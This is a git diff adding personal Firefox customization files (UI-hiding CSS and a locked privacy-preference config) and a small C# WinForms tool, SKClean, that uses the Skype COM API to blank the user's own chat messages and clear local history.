diff --git a/.mozilla/firefox/profile.default/chrome/userChrome.css b/.mozilla/firefox/profile.default/chrome/userChrome.css
new file mode 100644
index 0000000..6088047
--- /dev/null
+++ b/.mozilla/firefox/profile.default/chrome/userChrome.css
@@ -0,0 +1,82 @@
+/* context menu - blank */
+#context-back,#context-bookmarkpage,#context-forward,#context-inspect,#context-navigation,#context-pocket,#context-reload,#context-savepage,#context-selectall,#context-sendpagetodevice,#context-sep-navigation,#context-sep-sendpagetodevice,#context-sep-viewbgimage,#context-sep-viewsource,#context-stop,#context-viewinfo,#context-viewsource,#inspect-separator,#screenshots_mozilla_org_create-screenshot{display:none !important}
+
+/* context menu - frame */
+#context-bookmarkframe,#context-openframe,#context-openframeintab,#context-printframe,#context-printframe + menuseparator,#context-reloadframe,#context-reloadframe + menuseparator,#context-saveframe,#context-saveframe + menuseparator,#context-showonlythisframe,#context-viewframeinfo,#context-viewframesource,#open-frame-sep{display:none !important}
+
+/* context menu - image */
+#context-reloadimage,#context-sendimage,#context-sep-copyimage,#context-setDesktopBackground,#context-viewimageinfo{display:none !important}
+
+/* context menu - input */
+#context-bidi-page-direction-toggle,#context-bidi-text-direction-toggle,#context-copy,#context-cut,#context-delete,#context-keywordfield,#context-paste,#context-selectall,#context-sep-bidi,#context-sep-paste,#context-sep-undo,#context-undo,#fill-login,#fill-login-separator,#spell-add-dictionaries-main,#spell-check-enabled,#spell-dictionaries,#spell-separator{display:none !important}
+
+/* context menu - link */
+#context-bookmarklink,#context-openlink,#context-openlinkinusercontext-menu,#context-openlinkprivate,#context-savelinktopocket,#context-searchselect,#context-sendlinktodevice,#context-sep-open,#context-sep-sendlinktodevice{display:none !important}
+
+/* context menu - media */
+#context-sendaudio{display:none !important}
+
+/* context menu - page action */
+#pageAction-panel-addSearchEngine,#pageAction-panel-bookmark,#pageAction-panel-bookmarkSeparator,#pageAction-panel-builtInSeparator,#pageAction-panel-copyURL,#pageAction-panel-emailLink,#pageAction-panel-pocket,#pageAction-panel-screenshots,#pageAction-panel-sendToDevice,#pageAction-panel-transientSeparator,#pageAction-panel-webcompat-reporter-button{display:none !important}
+
+/* context menu - select */
+#context-viewpartialsource-selection{display:none !important}
+
+/* context menu - side bar */
+#placesContext_copy,#placesContext_createBookmark,#placesContext_cut,#placesContext_deleteHost,#placesContext_deleteSeparator,#placesContext_delete_history,#placesContext_editSeparator,#placesContext_openLinks:tabs,#placesContext_open:newprivatewindow,#placesContext_open:newwindow,#placesContext_paste,#placesContext_reload{display:none !important}
+
+/* context menu - tab */
+#context_closeOtherTabs,#context_closeTabsToTheEnd,#context_duplicateTab,#context_duplicateTab + menuseparator,#context_moveTabOptions,#context_pinSelectedTabs,#context_reloadSelectedTabs,#context_reloadTab,#context_reopenInContainer,#context_sendTabToDevice,#context_sendTabToDevice + menuseparator,#context_toggleMuteSelectedTabs,#context_undoCloseTab,#context_unpinSelectedTabs{display:none !important}
+
+/* context menu - tool bar */
+#toggle_PersonalToolbar,#toggle_toolbar-menubar,#toolbar-context-bookmarkSelectedTab,#toolbar-context-bookmarkSelectedTabs,#toolbar-context-reloadSelectedTab,#toolbar-context-reloadSelectedTabs,#toolbar-context-selectAllTabs,#toolbar-context-undoCloseTab,#toolbar-context-undoCloseTab + menuseparator,.customize-context-autoHide,.customize-context-manageExtension,.customize-context-moveToPanel,.customize-context-removeExtension,.customize-context-removeExtension + menuseparator,.customize-context-removeFromToolbar,.viewCustomizeToolbar{display:none !important}
+
+
+/* context menu - url bar */
+#urlbar menuitem[anonid="paste-and-go"],#urlbar menuitem[cmd="cmd_copy"],#urlbar menuitem[cmd="cmd_cut"],#urlbar menuitem[cmd="cmd_delete"],#urlbar menuitem[cmd="cmd_delete"] + menuseparator,#urlbar menuitem[cmd="cmd_paste"],#urlbar menuitem[cmd="cmd_selectAll"],#urlbar menuitem[cmd="cmd_undo"],#urlbar menuitem[cmd="cmd_undo"] + menuseparator{display:none !important}
+
+/* find bar - hide extra options */
+.findbar-entire-word, .findbar-case-sensitive, .findbar-highlight {visibility: collapse !important}
+
+/* nav bar - hide back & forward buttons */
+:-moz-any(#back-button, #forward-button){display:none !important}
+
+/* nav bar - hide hamburger button */
+#PanelUI-menu-button{display:none}
+
+/* nav + tab bar merge */
+:root[uidensity=compact]{--tabs-margin-left:3em;--space-before-tabs:34.5em;--space-after-tabs:2em;--nav-margin-top:-1.9em;--menu-margin-top:0.05em}
+#TabsToolbar{margin-left:var(--tabs-margin-left) !important;padding-left:var(--space-before-tabs) !important;margin-right:var(--space-after-tabs) !important;margin-bottom:-0.1em; !important}
+#nav-bar{margin-top:var(--nav-margin-top) !important;margin-right:60vw !important;margin-bottom:-0.1em !important;background-color:transparent !important}
+
+/* side bar - hide header & search */
+#sidebar-header,#sidebar-search-container{display:none}
+
+/* tab bar - close button on hover only */
+.tabbrowser-tab:not([selected]):not([pinned]) .tab-close-button{display:none !important}
+.tabbrowser-tab:not([selected]):not([pinned]):hover .tab-close-button{display:-moz-box !important}
+
+/* tab bar - hide buttons */
+.tabbrowser-strip *[class^="scrollbutton"], .tabbrowser-strip *[class^="tabs-alltabs"], .tabbrowser-strip *[class^="tabs-newtab-button"]{display:none}
+
+/* tool bar - compact icons */
+#widget-overflow-fixed-list{display:grid;grid-template-rows:repeat(1,1.5em);grid-template-columns:repeat(20, 15em)}
+#widget-overflow-fixed-list .toolbarbutton-1 > .toolbarbutton-text{display:none !important}
+
+/* url bar - hide bookmark star */
+#star-button{display:none !important}
+
+/* url bar - hide dropdown */
+.urlbar-history-dropmarker{display:none !important}
+
+/* url bar - hide feed button */
+#feed-button {display:none !important}
+
+/* url bar - hide info icon */
+#urlbar:not(.grantedPermissions) #identity-icon{transition:300ms !important;opacity:0 !important;-moz-margin-end:-1.1em !important}
+
+/* url bar - hide page actions */
+#pageActionButton{display:none !important}
+
+#urlbar-container {max-width: 400px !important;}
+#search-container {max-width: 200px !important;}
\ No newline at end of file
diff --git a/.mozilla/firefox/profile.default/chrome/userContent.css b/.mozilla/firefox/profile.default/chrome/userContent.css
new file mode 100644
index 0000000..c2d8133
--- /dev/null
+++ b/.mozilla/firefox/profile.default/chrome/userContent.css
@@ -0,0 +1,4 @@
+/* color blank pages for dark theme */
+@-moz-document url("about:blank"){*:empty:not([id]):not([style]){background-color:#474749 !important;}}
+@-moz-document url("about:home"), url("about:newtab"){.activity-stream{background-color:#474749 !important;}}
+@-moz-document url("about:newtab"){input#newtab-customize-button{display:none !important;}}
\ No newline at end of file
diff --git a/.mozilla/firefox/profile.default/mozilla.cfg b/.mozilla/firefox/profile.default/mozilla.cfg
new file mode 100644
index 0000000..e603041
--- /dev/null
+++ b/.mozilla/firefox/profile.default/mozilla.cfg
@@ -0,0 +1,68 @@
+// custom prefs
+lockPref("accessibility.typeaheadfind.autostart", false) // http://kb.mozillazine.org/Accessibility.typeaheadfind.autostart
+lockPref("accessibility.typeaheadfind.enablesound", false) // http://kb.mozillazine.org/Accessibility.typeaheadfind.enablesound
+lockPref("app.update.auto", false) // http://kb.mozillazine.org/App.update.auto
+lockPref("app.update.enabled", true) // http://kb.mozillazine.org/App.update.enabled
+lockPref("beacon.enabled", false)
+lockPref("browser.aboutHomeSnippets.updateUrl", "")
+lockPref("browser.backspace_action", 0) // http://kb.mozillazine.org/Browser.backspace_action
+lockPref("browser.bookmarks.max_backups", 0) // http://kb.mozillazine.org/Browser.bookmarks.max_backups
+lockPref("browser.cache.check_doc_frequency", 3) // http://kb.mozillazine.org/Browser.cache.check_doc_frequency
+lockPref("browser.cache.disk.enable", false) // http://kb.mozillazine.org/Browser.cache.disk.enable
+lockPref("browser.cache.disk_cache_ssl", false) // http://kb.mozillazine.org/Browser.cache.disk_cache_ssl
+lockPref("browser.cache.memory.capacity", -1) // http://kb.mozillazine.org/Browser.cache.memory.capacity
+lockPref("browser.cache.memory.enable", true) // http://kb.mozillazine.org/Browser.cache.memory.enable
+lockPref("browser.cache.offline.enable", false) // http://kb.mozillazine.org/Browser.cache.offline.enable
+lockPref("browser.chrome.site_icons", false) // http://kb.mozillazine.org/Browser.chrome.site_icons
+lockPref("browser.chrome.toolbar_tips", false) // http://kb.mozillazine.org/Browser.chrome.toolbar_tips
+lockPref("browser.download.manager.addToRecentDocs", false) // http://kb.mozillazine.org/Browser.download.manager.addToRecentDocs
+lockPref("browser.formfill.enable", false)
+lockPref("browser.link.open_newwindow", 3) // http://kb.mozillazine.org/Browser.link.open_newwindow
+lockPref("browser.link.open_newwindow.restriction", 0) // http://kb.mozillazine.org/Browser.link.open_newwindow.restriction
+lockPref("browser.newtabpage.enabled", false)
+lockPref("browser.privatebrowsing.autostart", true)
+lockPref("browser.safebrowsing.malware.enabled", false)
+lockPref("browser.safebrowsing.phishing.enabled", false)
+lockPref("browser.safebrowsing.downloads.enabled", false)
+lockPref("browser.search.suggest.enabled", false) // http://kb.mozillazine.org/Browser.search.suggest.enabled
+lockPref("browser.send_pings", false) // http://kb.mozillazine.org/Browser.send_pings
+lockPref("browser.sessionhistory.max_total_viewers", 3) // http://kb.mozillazine.org/Browser.sessionhistory.max_total_viewers
+lockPref("browser.sessionstore.max_resumed_crashes", 0) // http://kb.mozillazine.org/Browser.sessionstore.max_resumed_crashes
+lockPref("browser.sessionstore.max_tabs_undo", 3) // http://kb.mozillazine.org/Browser.sessionstore.max_tabs_undo
+lockPref("browser.sessionstore.privacy_level", 2) // http://kb.mozillazine.org/Browser.sessionstore.privacy_level
+lockPref("browser.sessionstore.resume_from_crash", false) // http://kb.mozillazine.org/Browser.sessionstore.resume_from_crash
+lockPref("browser.startup.page", 0) // http://kb.mozillazine.org/Browser.startup.page
+lockPref("browser.tabs.crashReporting.sendReport", false)
+lockPref("browser.urlbar.autoFill", false)
+lockPref("browser.urlbar.autocomplete.enabled", false)
+lockPref("browser.urlbar.maxRichResults", 0) // http://kb.mozillazine.org/Browser.urlbar.maxRichResults
+lockPref("browser.zoom.siteSpecific", false)
+lockPref("dom.battery.enabled", false)
+lockPref("dom.event.clipboardevents.enabled", false)
+lockPref("dom.event.contextmenu.enabled", false)
+lockPref("general.warnOnAboutConfig", false) // http://kb.mozillazine.org/General.warnOnAboutConfig
+lockPref("geo.enabled", false)
+lockPref("extensions.pocket.enabled", false)
+lockPref("extensions.screenshots.disabled", true)
+lockPref("image.animation_mode", "once")
+lockPref("layout.spellcheckDefault", 0)
+lockPref("network.cookie.cookieBehavior", 1) // http://kb.mozillazine.org/Network.cookie.cookieBehavior
+lockPref("network.cookie.lifetimePolicy", 2) // http://kb.mozillazine.org/Network.cookie.lifetimePolicy
+lockPref("network.dns.disablePrefetch", true) // http://kb.mozillazine.org/Network.dns.disablePrefetch
+lockPref("network.dnsCacheEntries", 10) // http://kb.mozillazine.org/Network.dnsCacheEntries
+lockPref("network.http.referer.XOriginPolicy", 0)
+lockPref("network.http.referer.spoofSource", true)
+lockPref("network.http.sendRefererHeader", 0)
+lockPref("network.IDN_show_punycode", true) // http://kb.mozillazine.org/Network.IDN_show_punycode
+lockPref("network.prefetch-next", false) // http://kb.mozillazine.org/Network.prefetch-next
+lockPref("places.history.enabled", false)
+lockPref("signon.autofillForms", false) // http://kb.mozillazine.org/Signon.autofillForms
+lockPref("plugins.flashBlock.enabled", true)
+lockPref("privacy.clearOnShutdown.*", true)
+lockPref("privacy.cpd.*", true)
+lockPref("privacy.donottrackheader.enabled", true)
+lockPref("privacy.sanitize.sanitizeOnShutdown", true)
+lockPref("privacy.trackingprotection.enabled", true)
+lockPref("reader.parse-on-load.enabled", false)
+lockPref("security.dialog_enable_delay", 0)
+lockPref("toolkit.cosmeticAnimations.enabled", false)
diff --git a/c#/SKClean/SKClean.exe b/c#/SKClean/SKClean.exe
new file mode 100644
index 0000000..83b12fc
Binary files /dev/null and b/c#/SKClean/SKClean.exe differ
diff --git a/c#/SKClean/SKClean/SKClean.sln b/c#/SKClean/SKClean/SKClean.sln
new file mode 100644
index 0000000..2a4de6f
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Express 2013 for Windows Desktop
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SKClean", "SKClean\SKClean.csproj", "{07708324-3B4B-43AA-A630-9FD2263C8134}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+EndGlobal
diff --git a/c#/SKClean/SKClean/SKClean.v12.suo b/c#/SKClean/SKClean/SKClean.v12.suo
new file mode 100644
index 0000000..1802da2
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean.v12.suo differ
diff --git a/c#/SKClean/SKClean/SKClean/App.config b/c#/SKClean/SKClean/SKClean/App.config
new file mode 100644
index 0000000..fad249e
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Main.Designer.cs b/c#/SKClean/SKClean/SKClean/Main.Designer.cs
new file mode 100644
index 0000000..4d6e99e
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Main.Designer.cs
@@ -0,0 +1,85 @@
+namespace SKClean
+{
+ partial class Main
+ {
+ ///
+ /// Required designer variable.
+ ///
+ private System.ComponentModel.IContainer components = null;
+
+ ///
+ /// Clean up any resources being used.
+ ///
+ /// true if managed resources should be disposed; otherwise, false.
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing && (components != null))
+ {
+ components.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+
+ #region Windows Form Designer generated code
+
+ ///
+ /// Required method for Designer support - do not modify
+ /// the contents of this method with the code editor.
+ ///
+ private void InitializeComponent()
+ {
+ this.buttonClean = new System.Windows.Forms.Button();
+ this.optionLeave = new System.Windows.Forms.CheckBox();
+ this.SuspendLayout();
+ //
+ // buttonClean
+ //
+ this.buttonClean.Location = new System.Drawing.Point(12, 12);
+ this.buttonClean.Name = "buttonClean";
+ this.buttonClean.Size = new System.Drawing.Size(81, 38);
+ this.buttonClean.TabIndex = 0;
+ this.buttonClean.Text = "C L E A N";
+ this.buttonClean.UseVisualStyleBackColor = true;
+ this.buttonClean.Click += new System.EventHandler(this.buttonClean_Click);
+ //
+ // optionLeave
+ //
+ this.optionLeave.AutoSize = true;
+ this.optionLeave.Location = new System.Drawing.Point(12, 56);
+ this.optionLeave.Name = "optionLeave";
+ this.optionLeave.Size = new System.Drawing.Size(81, 17);
+ this.optionLeave.TabIndex = 1;
+ this.optionLeave.Text = "Leave Chat";
+ this.optionLeave.UseVisualStyleBackColor = true;
+ //
+ // Main
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(105, 85);
+ this.Controls.Add(this.optionLeave);
+ this.Controls.Add(this.buttonClean);
+ this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
+ this.MaximizeBox = false;
+ this.MaximumSize = new System.Drawing.Size(115, 118);
+ this.MinimizeBox = false;
+ this.MinimumSize = new System.Drawing.Size(115, 118);
+ this.Name = "Main";
+ this.ShowIcon = false;
+ this.ShowInTaskbar = false;
+ this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
+ this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
+ this.Text = "SKClean";
+ this.ResumeLayout(false);
+ this.PerformLayout();
+
+ }
+
+ #endregion
+
+ private System.Windows.Forms.Button buttonClean;
+ private System.Windows.Forms.CheckBox optionLeave;
+
+ }
+}
+
diff --git a/c#/SKClean/SKClean/SKClean/Main.cs b/c#/SKClean/SKClean/SKClean/Main.cs
new file mode 100644
index 0000000..ded5c51
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Main.cs
@@ -0,0 +1,45 @@
+#region Imports
+using SKYPE4COMLib;
+using System;
+using System.Windows.Forms;
+#endregion
+
+namespace SKClean {
+ public partial class Main : Form {
+ public static Skype API = new Skype();
+
+ #region Startup
+ public Main() {
+ InitializeComponent();
+ }
+ #endregion
+
+ #region Clean Button
+ private void buttonClean_Click(object sender, EventArgs e) {
+ API.Attach(5, true);
+ foreach (Chat chat in API.ActiveChats) {
+ foreach (ChatMessage msg in chat.Messages) {
+ if (msg.IsEditable)
+ try {
+ msg.Body = "";
+ } catch {
+ continue;
+ }
+ }
+ if (optionLeave.Checked) {
+ try {
+ chat.SendMessage("/topic .");
+ chat.Leave();
+ } catch {
+ continue;
+ }
+
+ }
+ }
+ API.ClearCallHistory();
+ API.ClearChatHistory();
+ API.ClearVoicemailHistory();
+ }
+ #endregion
+ }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Main.resx b/c#/SKClean/SKClean/SKClean/Main.resx
new file mode 100644
index 0000000..3bf930b
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Main.resx
@@ -0,0 +1,123 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ True
+
+
\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Program.cs b/c#/SKClean/SKClean/SKClean/Program.cs
new file mode 100644
index 0000000..7a2d608
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Program.cs
@@ -0,0 +1,15 @@
+#region Imports
+using System;
+using System.Windows.Forms;
+#endregion
+
+namespace SKClean {
+ static class Program {
+ [STAThread]
+ static void Main() {
+ Application.EnableVisualStyles();
+ Application.SetCompatibleTextRenderingDefault(false);
+ Application.Run(new Main());
+ }
+ }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs b/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..653d90c
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SKClean")]
+[assembly: AssemblyDescription("A Skype tool to quickly remove all your messages & erase history.")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("LCS Inc.")]
+[assembly: AssemblyProduct("SKClean")]
+[assembly: AssemblyCopyright("Copyright © 2014")]
+[assembly: AssemblyTrademark("LCS Inc.")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("87c1aa4d-d5e6-47ca-bcd9-bb3d88f147fe")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs
new file mode 100644
index 0000000..2c22656
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs
@@ -0,0 +1,71 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.18449
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+namespace SKClean.Properties
+{
+
+
+ ///
+ /// A strongly-typed resource class, for looking up localized strings, etc.
+ ///
+ // This class was auto-generated by the StronglyTypedResourceBuilder
+ // class via a tool like ResGen or Visual Studio.
+ // To add or remove a member, edit your .ResX file then rerun ResGen
+ // with the /str option, or rebuild your VS project.
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+ internal class Resources
+ {
+
+ private static global::System.Resources.ResourceManager resourceMan;
+
+ private static global::System.Globalization.CultureInfo resourceCulture;
+
+ [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+ internal Resources()
+ {
+ }
+
+ ///
+ /// Returns the cached ResourceManager instance used by this class.
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Resources.ResourceManager ResourceManager
+ {
+ get
+ {
+ if ((resourceMan == null))
+ {
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SKClean.Properties.Resources", typeof(Resources).Assembly);
+ resourceMan = temp;
+ }
+ return resourceMan;
+ }
+ }
+
+ ///
+ /// Overrides the current thread's CurrentUICulture property for all
+ /// resource lookups using this strongly typed resource class.
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Globalization.CultureInfo Culture
+ {
+ get
+ {
+ return resourceCulture;
+ }
+ set
+ {
+ resourceCulture = value;
+ }
+ }
+ }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.resx b/c#/SKClean/SKClean/SKClean/Properties/Resources.resx
new file mode 100644
index 0000000..ffecec8
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Properties/Resources.resx
@@ -0,0 +1,117 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs
new file mode 100644
index 0000000..44a2a6b
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs
@@ -0,0 +1,30 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.18449
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+namespace SKClean.Properties
+{
+
+
+ [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
+ internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
+ {
+
+ private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
+
+ public static Settings Default
+ {
+ get
+ {
+ return defaultInstance;
+ }
+ }
+ }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.settings b/c#/SKClean/SKClean/SKClean/Properties/Settings.settings
new file mode 100644
index 0000000..abf36c5
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/Properties/Settings.settings
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
diff --git a/c#/SKClean/SKClean/SKClean/SKClean.csproj b/c#/SKClean/SKClean/SKClean/SKClean.csproj
new file mode 100644
index 0000000..fc58987
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/SKClean.csproj
@@ -0,0 +1,106 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {07708324-3B4B-43AA-A630-9FD2263C8134}
+ WinExe
+ Properties
+ SKClean
+ SKClean
+ v4.5
+ 512
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+ false
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+ icon.ico
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Form
+
+
+ Main.cs
+
+
+
+
+ Main.cs
+
+
+ ResXFileCodeGenerator
+ Resources.Designer.cs
+ Designer
+
+
+ True
+ Resources.resx
+
+
+ SettingsSingleFileGenerator
+ Settings.Designer.cs
+
+
+ True
+ Settings.settings
+ True
+
+
+
+
+
+
+
+ {03282B5D-B38F-469D-849A-09B0A7F4881B}
+ 1
+ 0
+ 0
+ tlbimp
+ False
+ True
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe
new file mode 100644
index 0000000..83b12fc
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe differ
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config
new file mode 100644
index 0000000..fad249e
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb
new file mode 100644
index 0000000..667e94d
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb differ
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe
new file mode 100644
index 0000000..c0dfecc
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe differ
diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config
new file mode 100644
index 0000000..fad249e
--- /dev/null
+++ b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/icon.ico b/c#/SKClean/SKClean/SKClean/icon.ico
new file mode 100644
index 0000000..38c0fb8
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/icon.ico differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache
new file mode 100644
index 0000000..0b247cc
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
new file mode 100644
index 0000000..c6ff901
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll b/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll
new file mode 100644
index 0000000..2db7fa0
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources
new file mode 100644
index 0000000..6c05a97
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources differ
diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources
new file mode 100644
index 0000000..6c05a97
Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources differ
